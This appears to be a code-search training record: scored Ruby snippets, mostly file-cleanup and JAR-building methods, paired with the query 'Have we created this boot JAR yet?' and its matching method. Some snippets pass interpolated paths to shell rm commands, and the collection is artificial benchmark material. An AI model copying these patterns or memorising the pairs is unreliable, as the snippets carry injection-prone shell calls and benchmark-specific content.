"def create!\n FileUtils.mkdir_p(@configuration[:build_dir])\n\n Dir.mktmpdir do |tmp_dir|\n output_path = File.join(@configuration[:build_dir], @configuration[:jar_name])\n project_dir = Pathname.new(@configuration[:app_dir])\n extra_files = @configuration[:extra_files] || []\n jruby_complete_path = @configuration[:jruby_complete]\n\n if !(defined? JRubyJars) && !(jruby_complete_path && File.exists?(jruby_complete_path))\n raise PuckError, 'Cannot build Jar: jruby-jars must be installed, or :jruby_complete must be specified'\n end\n\n gem_dependencies = resolve_gem_dependencies\n create_jar_bootstrap!(tmp_dir, gem_dependencies)\n\n ant = Ant.new(output_level: 1)\n ant.jar(destfile: output_path) do\n manifest do\n attribute name: 'Main-Class', value: 'org.jruby.JarBootstrapMain'\n attribute name: 'Created-By', value: \"Puck v#{Puck::VERSION}\"\n end\n\n zipfileset dir: tmp_dir, includes: 'jar-bootstrap.rb'\n\n if jruby_complete_path\n zipfileset src: jruby_complete_path\n else\n zipfileset src: JRubyJars.core_jar_path\n zipfileset src: JRubyJars.stdlib_jar_path\n end\n\n %w[bin lib].each do |sub_dir|\n zipfileset dir: project_dir + sub_dir, prefix: File.join(JAR_APP_HOME, sub_dir)\n end\n\n extra_files.each do |ef|\n path = Pathname.new(ef).expand_path.cleanpath\n prefix = File.join(JAR_APP_HOME, path.relative_path_from(project_dir).dirname.to_s)\n zipfileset dir: path.dirname, prefix: prefix, includes: path.basename\n end\n\n gem_dependencies.each do |spec|\n zipfileset dir: spec[:base_path], prefix: spec[:jar_path]\n end\n end\n end\n end",
"def clean!\n stop\n remove_instance_dir!\n FileUtils.remove_entry(config.download_path) if File.exists?(config.download_path)\n FileUtils.remove_entry(config.tmp_save_dir, true) if File.exists? config.tmp_save_dir\n md5.clean!\n FileUtils.remove_entry(config.version_file) if File.exists? config.version_file\n end",
"def after_destroy\n bundle_dir = File.join( self.userfolder, self.bundle_src_folder )\n logger.info(\"==================> Remove all bundle files for: \" + bundle_dir )\n %x[rm -f -R #{bundle_dir}]\n \n # delete bundle image file name\n %x[rm #{fq_bundle_image_filename('*')}]\n \n #delete sample audio prompt\n %x[rm #{fq_bundle_sample_prompt}]\n end",
"def remove\n @download_url = nil\n @latest_version = nil\n System.delete \"#{System.install_dir}/#{file_name.gsub('.exe', '')}.version\"\n System.delete driver_path\n end",
"def clean_bundle\n if File.exist?(@gem_path)\n puts \"Cleaning gem repository - #{@gem_path}\"\n FileUtils.rm_r(@gem_path)\n end\n bundler_dir = '.bundle'\n if File.exist?(bundler_dir)\n puts 'Cleaned bundler directory - .bundle'\n FileUtils.rm_r(bundler_dir)\n end\n end",
"def fast_merge_jar(target_jar, merge_jar)\n info \"merging #{merge_jar}\"\n tmp = _(:target, \"tmp\")\n sh \"rm -rf #{tmp}\"\n sh \"mkdir -p #{tmp}; cd #{tmp}; jar -xf #{merge_jar}; jar -uf #{target_jar} *\"\n sh \"rm -rf #{tmp}\"\n end",
"def clean_up()\n File.delete(ZIP_FILE)\n end",
"def delete\n FileUtils.remove_entry_secure(@directory)\n ObjectSpace.undefine_finalizer(self)\n rescue Errno::ENOENT\n end",
"def reshuffle_jars()\n FileUtils.mkdir_p(\"#{self.build_dir()}/src/edit-webapp/WEB-INF/lib/\")\n FileUtils.cp(Dir[\"#{UcbDeployer::RESOURCES_DIR}/soulwing-casclient-*\"],\n \"#{self.build_dir()}/src/edit-webapp/WEB-INF/lib/\")\n # These have been placed in $CATALINA_HOME/lib\n [\"mail\", \"activation\", \"javamail\", \"commons-logging\", \"log4j\"].each do |jar|\n FileUtils.rm_rf(Dir[\"#{self.build_dir()}/src/webapp/WEB-INF/lib/#{jar}-*\"])\n end\n end",
"def remove_instance_dir!\n FileUtils.remove_entry(config.instance_dir, true) if File.exists? config.instance_dir\n end",
"def cleanup\n tmpdir = File.join(OBS_BUILD_DIR,OBS_LOCAL_TMP)\n if File.exists?(tmpdir)\n FileUtils.rm_rf(tmpdir)\n end\n end",
"def patch_jars(jars)\n jars.each do |jar|\n tmp = File.new(\"MANIFEST.MF\", \"w\")\n Zip::ZipFile.open(jar) do |zip|\n cont = zip.read(\"META-INF/MANIFEST.MF\").rstrip\n tmp.puts(cont)\n if cont.match('DynamicImport-Package').nil? then\n tmp.puts(\"DynamicImport-Package: com.vladium.*\\n\")\n end\n\n tmp.close\n zip.replace(\"META-INF/MANIFEST.MF\", \"MANIFEST.MF\")\n end\n end\nend",
"def cleanup_release\n if ssh.directory_exists?(release_path)\n ssh.run(\"rm -rf #{release_path}\")\n end\n end",
"def cleanup_download_path\n if download_path.exist?\n download_path.delete\n end\n end",
"def application_teardown\n if File.exists?(IMG_DIR)\n FileUtils.rm_rf(IMG_DIR)\n end\n end",
"def uninstall_component\n FileUtils.remove_entry_secure destination_path if Dir.exist? destination_path\n end",
"def destroy\n FileUtils.rm_r(directory) if exist?\n end",
"def create\n FileUtils.mkdir_p(@configuration[:build_dir])\n\n Dir.mktmpdir do |tmp_dir|\n output_path = File.join(@configuration[:build_dir], @configuration[:jar_name])\n temporary_output_path = File.join(Dir.mktmpdir, @configuration[:jar_name])\n project_dir = Pathname.new(@configuration[:app_dir]).expand_path.cleanpath\n extra_files = @configuration[:extra_files] || []\n jruby_complete_path = @configuration[:jruby_complete]\n\n if !(defined? JRubyJars) && !(jruby_complete_path && File.exists?(jruby_complete_path))\n raise PuckError, 'Cannot build Jar: jruby-jars must be installed, or :jruby_complete must be specified'\n end\n\n merge_archives = (@configuration[:merge_archives] || []).to_a\n if jruby_complete_path\n merge_archives << jruby_complete_path\n else\n merge_archives.push(JRubyJars.core_jar_path, JRubyJars.stdlib_jar_path)\n end\n\n gem_dependencies = @dependency_resolver.resolve_gem_dependencies(@configuration)\n create_jar_bootstrap!(tmp_dir, gem_dependencies)\n\n ant = Ant.new(output_level: 1)\n begin\n ant.jar(destfile: temporary_output_path) do\n manifest do\n attribute name: 'Main-Class', value: 'org.jruby.JarBootstrapMain'\n attribute name: 'Created-By', value: \"Puck v#{Puck::VERSION}\"\n end\n\n zipfileset dir: tmp_dir, includes: 'jar-bootstrap.rb'\n\n %w[bin lib].each do |sub_dir|\n path = project_dir + sub_dir\n if File.exists?(path)\n zipfileset dir: path, prefix: File.join(JAR_APP_HOME, sub_dir)\n end\n end\n\n extra_files.each do |file, target_path|\n path = Pathname.new(file).expand_path.cleanpath\n if target_path\n zipfileset file: path, fullpath: target_path\n else\n prefix = File.join(JAR_APP_HOME, path.relative_path_from(project_dir).dirname.to_s)\n zipfileset dir: path.dirname, prefix: prefix, includes: path.basename\n end\n end\n\n gem_dependencies.each do |spec|\n base_path = Pathname.new(spec[:base_path]).expand_path.cleanpath\n unless project_dir == base_path\n zipfileset dir: spec[:base_path], prefix: File.join(JAR_GEM_HOME, 'gems', spec[:versioned_name])\n zipfileset file: spec[:spec_file], fullpath: File.join(JAR_GEM_HOME, 'specifications', File.basename(spec[:spec_file]))\n end\n end\n\n merge_archives.each do |archive, target_path|\n if target_path\n zipfileset src: archive, prefix: target_path, excludes: SIGNATURE_FILES\n else\n zipfileset src: archive, excludes: SIGNATURE_FILES\n end\n end\n end\n\n FileUtils.mv(temporary_output_path, output_path)\n rescue Java::OrgApacheToolsAnt::BuildException => e\n raise PuckError, sprintf('Error when building JAR: %s (%s)', e.message, e.class), e.backtrace\n ensure\n FileUtils.rm_rf(File.dirname(temporary_output_path))\n end\n output_path\n end\n end",
"def clean_installation\n clean_paths.each { |path| FileUtils.rm_rf(path) }\n end",
"def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end",
"def delete_exemplar(exemplar_filename)\n File.delete(\"#{Rails.root}/exemplars/#{exemplar_filename}\") if File.exist?(\"#{Rails.root}/exemplars/#{exemplar_filename}\") \n end",
"def destroy_file\n FileUtils.rm(full_filename) if File.exists?(full_filename)\n end",
"def delete!\n return true unless File.exist?(path)\n FileUtils.rm(path)\n end",
"def destroy!\n fail \"Can not destroy a running stone\" if running?\n rm_rf system_config_filename\n rm_rf extent_directory\n rm_rf log_directory\n rm_rf tranlog_directories\n end",
"def cleanup(path)\n Monsove.logger.info(\"Cleaning up local path #{path}\")\n\n FileUtils.rm_rf(path)\n File.delete(\"#{path}.tar.bz2\")\n end",
"def bootstrap_folder\n FileUtils.mkdir_p folder_path\n end",
"def cleanup\n File.delete(@path) if @path.is_a?(String) && File.exist?(@path)\n end",
"def cleanup_files(resource)\n remove_public_dir(resource) # where the local manifest file is stored\n remove_s3_data_files(resource)\n rescue StandardError => e\n msg = \"An unexpected error occurred when cleaning up files for resource #{resource.id}: \"\n msg << e.full_message\n logger.warn(msg)\n end",
"def purge\n ::FileUtils.rm(@fname)\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue Errno::ENOENT\n end",
"def cleanup_swap_dir(file)\n\n image_path = \"./public/swap/#{file}\"\n\n if File.exist?(image_path)\n File.delete(image_path) # delete temp file from /public/swap\n else\n puts \"temp file does not exist!\"\n end\n\nend",
"def cleanup_unpack_path\n if unpack_path.exist?\n unpack_path.rmtree\n end\n end",
"def delete\n FileUtils.rm(self.path) if exists?\n end",
"def purge\n\n FileUtils.remove_dir(@basepath)\n end",
"def cleanup_cached_images()\n\n # swap_dir = \"../public/swap\" # use when running locally from /lib/s3_bucket.rb\n swap_dir = \"./public/swap\" # use when running via app.rb\n swap_contents = \"#{swap_dir}/*\"\n gitkeep = \"#{swap_dir}/.gitkeep\"\n\n if File.directory?(swap_dir)\n FileUtils.rm_rf(Dir.glob(swap_contents)) # delete contents of /public/swap \n file = File.new(gitkeep, 'w') # recreate .gitkeep file\n file.close if file\n else\n puts \"sightings directory does not exist!\"\n end\n\nend",
"def delete(filename)\n within_source_root do\n FileUtils.mkdir_p File.dirname(filename)\n FileUtils.touch filename\n end\n \n generate { File.should_not exist(filename) }\n end",
"def after_packaging\n suffixes = chunk_suffixes\n first_suffix = \"a\" * suffix_length\n if suffixes == [first_suffix]\n FileUtils.mv(\n File.join(Config.tmp_path, \"#{package.basename}-#{first_suffix}\"),\n File.join(Config.tmp_path, package.basename)\n )\n else\n package.chunk_suffixes = suffixes\n end\n end",
"def destroy\n File.delete(self.artifact)\n end",
"def delete\n File::unlink @path+\".lock\" rescue nil\n File::unlink @path+\".new\" rescue nil\n File::unlink @path rescue nil\n end",
"def clean_up\n FileUtils.rm_rf \"#{@path}\" unless create_in_current_directory?\n FileUtils.rm_rf \"#{@cache}\"\n end",
"def remove_packaging(model)\n Logger.info \"Cleaning up the temporary files...\"\n FileUtils.rm_rf(File.join(Config.tmp_path, model.trigger))\n end",
"def clean_sprockets_assets\n manifest.clean(backups_to_keep)\n end",
"def setup(location = nil)\n @@logs ||= find_files(ArchiveRoot)\n find_files(location) if @@logs.empty?\n @@logs.each do |name,file|\n\tunless File.size?(file)\n\t FileUtils.touch(file)\n\tend\n end\n update\n end",
"def cleanup\n if ::File.exist?(chef_backup_dir) # rubocop:disable Style/GuardClause\n converge_by(\"removing #{chef_backup_dir}\") do\n FileUtils.rm_rf chef_backup_dir\n end\n end\nend",
"def unlink_runfile\n File.unlink(CONFIG[:run_path]) if File.exists?(CONFIG[:run_path]) and File.read(CONFIG[:run_path]).to_i == Process.pid.to_i\n end",
"def extract\n return config.instance_dir if extracted?\n\n jar_file = download\n\n FileUtils.mkdir_p config.instance_dir\n FileUtils.cp jar_file, config.binary_path\n self.extracted_version = config.version\n\n config.instance_dir\n end",
"def cleanup\n FileUtils.rm_f(@path)\n delete\n end",
"def uninstallTestContent(iLocation)\n FileUtils.rm(\"#{iLocation}/DummyBinary\")\n end",
"def cleanup_cached_images()\n\n # swap_dir = \"../public/swap\" # use when running locally from /lib/b2_bucket.rb\n swap_dir = \"./public/swap\" # use when running via app.rb\n swap_contents = \"#{swap_dir}/*\"\n gitkeep = \"#{swap_dir}/.gitkeep\"\n\n if File.directory?(swap_dir)\n FileUtils.rm_rf(Dir.glob(swap_contents)) # delete contents of /public/swap \n file = File.new(gitkeep, 'w') # recreate .gitkeep file\n file.close if file\n else\n puts \"Directory does not exist!\"\n end\n\nend",
"def test_delete_file_patch\n @options[:strip] = 0\n \n gemfile = bake_testing_gem\n\n patches = []\n patches << bake_new_file_patch\n patches << bake_delete_file_patch\n\n # Create a new patched gem in @gems_dir\n patcher = Gem::Patcher.new(gemfile, @gems_dir)\n patched_gem = patcher.patch_with(patches, @options)\n\n # Unpack\n package = Gem::Package.new patched_gem\n package.extract_files @gems_dir\n\n # Only foo.rb should stay in /lib, bar.rb should be gone\n assert_raises(RuntimeError, 'File not found') {\n file_contents(File.join @lib_dir, 'bar.rb')\n }\n end",
"def remove_package(package)\n Logger.info \"Cleaning up the package files...\"\n package.filenames.each do |file|\n FileUtils.rm_f(File.join(Config.tmp_path, file))\n end\n end",
"def cleanup_swap_dir(file)\n\n image_path = \"./public/swap/#{file}\"\n # image_path = \"../public/swap/#{file}\" # inline testing version\n\n if File.exist?(image_path)\n File.delete(image_path) # delete temp file from /public/swap\n else\n puts \"temp file does not exist!\"\n end\n\nend",
"def cleanup\n FileUtils.rm(@out_filename)\n\n # XXX: could be rm-rf, but be safe for now. Might have\n # problems if app creates files in $PWD\n FileUtils.rmdir(@opts[:tmpdir])\n end",
"def remove_obsolete_installed_file(*path)\n post_install do\n path = File.join(prefix, *path)\n if File.exists?(path)\n Autoproj.message \" removing obsolete file #{path}\", :bold\n FileUtils.rm_f path\n end\n end\n end",
"def remove_temp_files\n @task.shell.mute do\n @task.remove_dir ::File.join(@project.package_path, @package_name)\n @task.remove_file ::File.join(@project.package_path, \"#{@package_name}.tmp\")\n end\n end",
"def delete_files(version)\n binary = File.join(Dir.tmpdir, \"openjdk\" + version.to_s + \"_openj9\" + \".tgz\")\n\n file binary do\n action :delete\n end\n end",
"def clean\n if File.exist?(@destination)\n Monolith.formatter.clean(@cookbook, @destination)\n FileUtils.rm_rf(@destination)\n true\n else\n rel_dest = Monolith.formatter.rel_dir(@destination)\n Monolith.formatter.skip(@cookbook, \"#{rel_dest} doesn't exist\")\n nil\n end\n end",
"def delete!\n exist!\n File.unlink @path\n @path = nil\n end",
"def ensure_current_if_current\n manifest.reload\n if current = manifest.current\n current.stored_manifest.copy(Manifesto.bucket, \"#{manifest.name}-current.json\", s3_headers) unless current.version > self.version\n elsif current = directory.files.get(\"#{manifest.name}-current.json\")\n current.destroy\n end\n end",
"def cleanup_app_caches(app_name, instance_name)\n Dir.chdir RailsPwnerer::Config[app_name, instance_name][:app_path] do\n if File.exist?('Gemfile')\n Kernel.system 'bundle exec rake assets:clean RAILS_ENV=production'\n else\n Kernel.system 'rake assets:clean RAILS_ENV=production'\n end\n end\n end",
"def build_jar\n `rm framework/local.properties` if File.exists? 'framework/local.properties'\n `rm framework/phonegap.jar` if File.exists? 'framework/phonegap.jar'\n `rm framework/phonegap.js` if File.exists? 'framework/phonegap.js'\n `ECHO 'sdk-location=#{ @android_sdk_path }' > framework/local.properties`\n `cd framework; ant jar`\n end",
"def delete_file \n #pp \"deleting file_asset: path is\" + full_filepath\n File.delete(full_filepath) if File.exists?(full_filepath)\n end",
"def slave_jar\n ::File.join(Chef::Config[:file_cache_path], 'slave.jar')\n end",
"def purge_ioc_from_project_dir(dir)\n ioc_file_path = \"#{dir}/tmp/ioc.json\"\n\n if File.exist? ioc_file_path\n File.delete ioc_file_path\n end\n\n raise SiteadminCli::Exceptions::FileNotFoundException,\n \"IOC files appear to have already been deleted from \\\"#{File.dirname(ioc_file_path)}\\\"\"\n end",
"def clean_test_case\n if File.exists?(@local_file_download_destination)\n File.delete(@local_file_download_destination)\n end\n end",
"def unlink!\n FileUtils.rm_rf(directory)\n end",
"def remove_file_if_present(path)\n if File.exist?(path)\n info \"unlinking #{path}\"\n File::unlink(path)\n end\n end",
"def bootstrap\n return if File.exist?(json_file) and !File.zero?(json_file)\n FileUtils.touch json_file\n File.open(json_file, 'w') {|f| f.write(to_json) }\n save\n end",
"def delete!\n execute_as_user(\"rm -rf #{app_dir}\")\n end",
"def touch\n FileUtils.touch FILE\n bootstrap\n end",
"def clean_app()\n wd = FileUtils.pwd()\n FileUtils.rm_f( [\n '/app/assets/*',\n '/app/components/*',\n '/app/controllers/*',\n '/app/helpers/*',\n '/app/models/*',\n '/app/views/*'\n ].collect!{|e| Dir.glob(wd + e)}.flatten.compact )\n end",
"def remove\n dir = Pathname.new(path)\n syscmd(\"umount -f \\\"#{dir}\\\"\", valid_rcs: [32]) # 32 = not mounted\n File.unlink(readme_path) if File.exist?(readme_path)\n dir.rmdir if dir.exist?\n end",
"def make_jar(jarname, dirname, quiet = false)\n cmd(\"jar cf #{jarname} -C #{dirname} .\", quiet)\n end",
"def finish!\n # Create our sentinel file\n FileUtils.touch('/etc/.sorted')\n end",
"def cleanup\n begin\n File.delete(full_filename, full_filename + \".meta\")\n rescue\n logger.warn \"Unable to delete recordings files: #{full_filename}*\"\n end\n end",
"def clearDistributionDirectory(projectDir)\n distDir = projectDir.to_s + '/dist'\n FileUtils.rm_rf(distDir)\n FileUtils.mkdir_p(distDir)\nend",
"def clean_up\n pathname.delete if pathname.exist?\n end",
"def before_destroy\n # cwd: utunes_app\n logger.info(\"=======> before_destroy invoked!\")\n\n version_str = sprintf(\"%.2d\", version )\n bundle_title = \"hc12_v#{version_str}\"\n \n bundle_folder = \"lib/bundles\"\n bundle_name=\"build_\" + bundle_title\n bundle_fq_name = bundle_folder + \"/\" + bundle_name\n \n logger.info(\"rm -R #{bundle_fq_name}\")\n logger.info( %x[rm -R #{bundle_fq_name}] )\n \n end",
"def remove_local_copy\n Dir.chdir(self.study.data_store_path)\n if File.exists?(self.download_location)\n File.delete(self.download_location)\n subdir = self.remote_location.blank? ? self.id : self.remote_location.split('/').first\n if Dir.exist?(subdir) && Dir.entries(subdir).delete_if {|e| e.start_with?('.')}.empty?\n Dir.rmdir(subdir)\n end\n end\n end",
"def remove_existing_tool_folder\n puts \"Warning: '#{$tool_folder}' already exists. This will be removed and recreated!\"\n print \" Is this ok? (type 'yes' if so) : \"\n exit unless STDIN.readline.strip == 'yes'\n FileUtils.remove_dir($tool_folder)\n puts\nend",
"def cleanup_tar_file(path)\n Mongolicious.logger.info(\"Cleaning up local path #{path}\")\n begin\n File.delete(path)\n rescue => exception\n Mongolicious.logger.error(\"Error trying to delete: #{path}\")\n Mongolicious.logger.info(exception.message)\n end\n end",
"def unlink_file\n unless is_placeholder_directory?\n FileUtils.rm path if File.file?(path)\n else\n FileUtils.rmdir path if Dir.entries(path) == [\".\", \"..\"]\n end\n end",
"def remove!(package)\n Logger.info \"Removing backup package dated #{package.time}...\"\n remote_path = remote_path_for(package)\n package.filenames.each do |filename|\n ::Qiniu.delete(bucket, File.join(remote_path, filename))\n end\n end",
"def purge_directory(path)\n remove_directory(path)\n create_directory(path)\n end",
"def purge_directory(path)\n remove_directory(path)\n create_directory(path)\n end",
"def cleanup\n if dir and File.exists?(dir)\n FileUtils.rm_rf(dir)\n end\n\n nil\n end"
] |
[
"0.6109842",
"0.6079872",
"0.6020823",
"0.6016218",
"0.5830876",
"0.5824421",
"0.5780001",
"0.5667129",
"0.5667129",
"0.5506725",
"0.54951495",
"0.5434579",
"0.5432811",
"0.5420999",
"0.5411961",
"0.53789455",
"0.5361506",
"0.5349101",
"0.53482455",
"0.5330091",
"0.5291847",
"0.528689",
"0.5284468",
"0.52632594",
"0.5255087",
"0.5225172",
"0.52185315",
"0.5206675",
"0.51932484",
"0.5179927",
"0.51792186",
"0.5176379",
"0.5163793",
"0.51489025",
"0.51427543",
"0.5129513",
"0.512353",
"0.5119686",
"0.5113145",
"0.51103806",
"0.5101169",
"0.5096254",
"0.50939006",
"0.5091108",
"0.50848204",
"0.5083507",
"0.5072971",
"0.50638926",
"0.5057503",
"0.5051811",
"0.50468457",
"0.50378853",
"0.5024111",
"0.50188106",
"0.50013775",
"0.49999025",
"0.49982956",
"0.4998199",
"0.4996875",
"0.49952704",
"0.49892384",
"0.4985485",
"0.49819443",
"0.49818438",
"0.4979763",
"0.4961642",
"0.49588853",
"0.49475685",
"0.49452114",
"0.49434537",
"0.49390477",
"0.4936581",
"0.49294573",
"0.49233449",
"0.49192646",
"0.49142474",
"0.49073875",
"0.49063128",
"0.49062398",
"0.49043962",
"0.4902984",
"0.48966807",
"0.48894075",
"0.4889383",
"0.48874098",
"0.48648816",
"0.48491502",
"0.48454505",
"0.48423666",
"0.48407266",
"0.48383275",
"0.48382896",
"0.48358706",
"0.4832352",
"0.4830562",
"0.48291704",
"0.48236513",
"0.48209593",
"0.48209593",
"0.48109785"
] |
0.6321847
|
0
|
Have we created this boot JAR yet?
|
def exist?
@created
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def bootstrapped?\n raise \"Invalid Bootstrapper\"\n end",
"def bootstrapped?\n # @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').match(/YES/).nil?\n @bootstrapped ||= !run('if [ -f /var/poolparty/bootstrapped ]; then echo \"YES\"; fi').chomp.empty? || false\n end",
"def bootstrapped?\n # When we have a bootstrap waiter, we haven't bootstrapped because it is\n # set to nil upon bootstrap completion.\n return [email protected]?\n end",
"def bootstrap_required?\n entry_point.nil?\n end",
"def ensure_created\n unless @created\n classpath = @module_set['dso-tests-jdk15'].subtree('src').classpath(@build_results, :full, :runtime)\n puts(\"Creating boot JAR with: #{@jvm} and config file: #{@config_file}\")\n \n File.delete(path.to_s) if FileTest.exist?(path.to_s)\n sysproperties = {\n PropertyNames::TC_BASE_DIR => @static_resources.root_dir.to_s,\n PropertyNames::MODULES_URL => @build_results.modules_home.to_url\n }\n \n begin \n @ant.java(:classname => 'com.tc.object.tools.BootJarTool',\n :classpath => classpath.to_s,\n :jvm => @jvm.java,\n :fork => true,\n :failonerror => true,\n :dir => @build_results.tools_home.to_s) do\n\n sysproperties.each do |name, value|\n @ant.sysproperty(:key => name.xml_escape(true),\n :value => value.xml_escape(true))\n end\n\n @ant.arg(:value => '-o')\n @ant.arg(:value => @directory.ensure_directory)\n @ant.arg(:value => '-f')\n @ant.arg(:value => @config_file)\n @ant.arg(:value => '-q')\n end\n rescue\n raise(\"Bootjar creation failed\")\n end\n \n @created = true\n end\n self\n end",
"def first_run?\n not File.exists? '/boot/config/.boxcar'\n end",
"def ami_bootstrapped?\n version = ''\n bootstrapped_file = '/opt/parallelcluster/.bootstrapped'\n current_version = \"aws-parallelcluster-cookbook-#{node['cluster']['parallelcluster-cookbook-version']}\"\n\n if ::File.exist?(bootstrapped_file)\n version = IO.read(bootstrapped_file).chomp\n Chef::Log.info(\"Detected bootstrap file #{version}\")\n if version != current_version\n raise \"This AMI was created with #{version}, but is trying to be used with #{current_version}. \" \\\n \"Please either use an AMI created with #{current_version} or change your ParallelCluster to #{version}\"\n end\n end\n\n version != '' && !(node['cluster']['skip_install_recipes'] == 'no' || node['cluster']['skip_install_recipes'] == false)\nend",
"def requires_bootstrap?\n true\n end",
"def static_boot_eligible?\n provider.static_boot_eligible?\n end",
"def booted?\n !!@booted\n end",
"def bootstrap!\n @bootstrapped = false\n bootstrap\n end",
"def boot_up\n celluloid_running = begin\n Celluloid.running?\n rescue StandardError\n false\n end\n Celluloid.boot unless celluloid_running\n end",
"def bootstrapped?\n File.read(helper_file).include?(\"Spork.prefork\")\n end",
"def haveBootstrapped?\n self.class.loadChefLib\n MU.log \"Chef config\", MU::DEBUG, details: ::Chef::Config.inspect\n nodelist = ::Chef::Node.list()\n nodelist.has_key?(@server.mu_name)\n end",
"def install_bootloader\n raise RuntimeError, \"Not implemented in base class\"\n end",
"def haveBootstrapped?\n @inventory.haveNode?(@server.mu_name)\n end",
"def bootstrap_init\n end",
"def boot\n runcmd 'boot'\n end",
"def is?(application)\n JavaBuildpack::Util::JavaMainUtils.manifest(application).key?(SPRING_BOOT_VERSION) ||\n @jar_finder.is?(application)\n end",
"def system_load_ok?\n true\n end",
"def do_boot\n Kernel.require Rucola::RCApp.root_path + '/config/boot'\n end",
"def boot(options={})\n Jets::Booter.boot!(options)\n end",
"def boot\n Thread.new do\n sleep 1 until EM.reactor_running?\n\n begin\n log.info \"Loading application...\"\n app_init\n load_settings\n Fastr::Plugin.load(self)\n load_app_classes\n setup_router\n setup_watcher unless RbConfig::CONFIG['host_os'] =~ /mswin|mingw/\n\n log.info \"Application loaded successfully.\"\n\n @booting = false\n\n plugin_after_boot\n rescue Exception => e\n log.error \"#{e}\"\n puts e.backtrace\n log.fatal \"Exiting due to previous errors...\"\n exit(1)\n end\n end\n end",
"def bundled?(filename); end",
"def supports?\n web_inf? && !JavaBuildpack::Util::JavaMainUtils.main_class(@application)\n end",
"def knotx_installed?\n # Currently deployed JAR checksum verification\n if ::File.exist?(new_resource.install_path)\n\n new_checksum = new_resource.checksum\n current_checksum = md5sum(new_resource.install_path)\n # If checksum doesn't match deployment is required\n return true if new_checksum == current_checksum\n end\n\n # TODO: Implement additional checks for log_dir, base_dir etc.\n\n false\n end",
"def boot\n Rucola::Plugin.before_boot\n do_boot\n Rucola::Plugin.after_boot\n end",
"def bootup\n Merb.trap(\"TERM\") { shutdown }\n\n Merb.logger.warn! \"Running bootloaders...\" if Merb::Config[:verbose]\n BootLoader.run\n Merb.logger.warn! \"Starting Rack adapter...\" if Merb::Config[:verbose]\n Merb.adapter.start(Merb::Config.to_hash)\n end",
"def isautoboot\n\n\t\tif !exists?\n\t\t\tcase resource[:ensure]\n\t\t\t\twhen :absent then return #do nothing\n\t\t\t\twhen :running then install(true)\n\t\t\t\telse install(false)\n\t\t\tend\n\t\tend\n\t\n\t\treturn dom.autostart.to_s\n\n\tend",
"def ready?\n File.exist?(desktop_path) && \n File.directory?(libs_path)\n end",
"def require_bootsnap\n inject_into_file 'config/boot.rb', after: \"require 'bundler/setup' # Set up gems listed in the Gemfile.\\n\" do\n \"require 'bootsnap/setup'\\n\"\n end\n end",
"def bundled?\n Gem.loaded_specs.key?(self.class.from_gem)\n end",
"def shared_boot_jar_directory\n FilePath.new(@build_dir, \"boot-jars\")\n end",
"def prepare_for_installation; end",
"def load_boot\n begin\n ENV['BUNDLE_GEMFILE'] = File.join(options[:root], \"Gemfile\") if options[:root]\n rescue Exception => e\n puts \"=> Problem loading #{boot}\"\n puts [\"=> #{e.message}\", *e.backtrace].join(\"\\n \")\n end\n end",
"def load_boot\n begin\n ENV['BUNDLE_GEMFILE'] = File.join(options[:root], \"Gemfile\") if options[:root]\n rescue Exception => e\n puts \"=> Problem loading #{boot}\"\n puts [\"=> #{e.message}\", *e.backtrace].join(\"\\n \")\n end\n end",
"def present?\n\tFile.exist?(\"Berksfile\") and `berks`\n end",
"def bootstrap\n unless @bootstrapped\n install_solr_home\n @bootstrapped = true\n end\n end",
"def bundled?\n $BUNDLE || ENV.key?(\"BUNDLE\")\n end",
"def app_starting?\n @launching\n end",
"def check!\n Capistrano::Deploy::Dependencies.new(configuration) do |d|\n d.remote.file(Capistrano::Puppet::Service::Webrick::SERVICE_INIT).or(\"`#{Capistrano::Puppet::Service::Webrick::SERVICE_INIT}' does not exist. Please run `cap deploy:setup'.\")\n end\n end",
"def pre_install; end",
"def backup_minister_installed?\n software_installed?(APP_NAME)\n end",
"def bootstrap!\n reset!\n require_relative 'kernel'\n end",
"def contains?(jar_name)\n lib = File.join self.class.classpath_directory(play_root), jar_name\n Dir[lib].first\n end",
"def thin?(application)\n THIN_WRAPPER == JavaBuildpack::Util::JavaMainUtils.main_class(application)\n end",
"def bootstrap!\n reset!\n require_relative 'kernel'\n end",
"def boot?(ip = nil)\n path = \"/boot\"\n path << \"/#{ip}\" if ip\n perform_get path\n end",
"def booted?\n IO.popen([\"systemctl\", \"is-system-running\"], &:read).chomp != \"offline\"\n end",
"def ready?\n\t\t$stderr.puts \"#{@name}: ready? not overridden!\"\n\tend",
"def _ready?\n true\n end",
"def setup?\n @setup\n end",
"def bundle_exists?\n File.exists? self.bundle_dir\n end",
"def bootstrap\n if bootstrapped?\n stderr.puts \"Already bootstrapped!\"\n return\n end\n stderr.puts \"Bootstrapping #{helper_file}.\"\n contents = File.read(helper_file)\n bootstrap_code = File.read(BOOTSTRAP_FILE)\n File.open(helper_file, \"wb\") do |f|\n f.puts bootstrap_code\n f.puts contents\n end\n\n stderr.puts \"Done. Edit #{helper_file} now with your favorite text editor and follow the instructions.\"\n true\n end",
"def check_for_libraries; end",
"def startup\nend",
"def first_run?\n ::File.exist?(node['tomcat']['validation_script'])\n end",
"def boot_complete?\n out = `VBoxManage showvminfo \"#{@vbox_name}\" | grep 'Additions run level:'`\n print out if @verbose\n if out[-2..-2].to_i == 3\n return true\n end\n end",
"def installed?\n false\n end",
"def is_auto_loading_running\n # stub method\n puts 'call is_auto_loading_running'\n end",
"def wrap_sync_load?\n ( !defined?( JRUBY_VERSION ) ||\n version_lt?( JRUBY_VERSION, [9] ) ||\n version_gte?( JRUBY_VERSION, [9,0,5] ) )\n end",
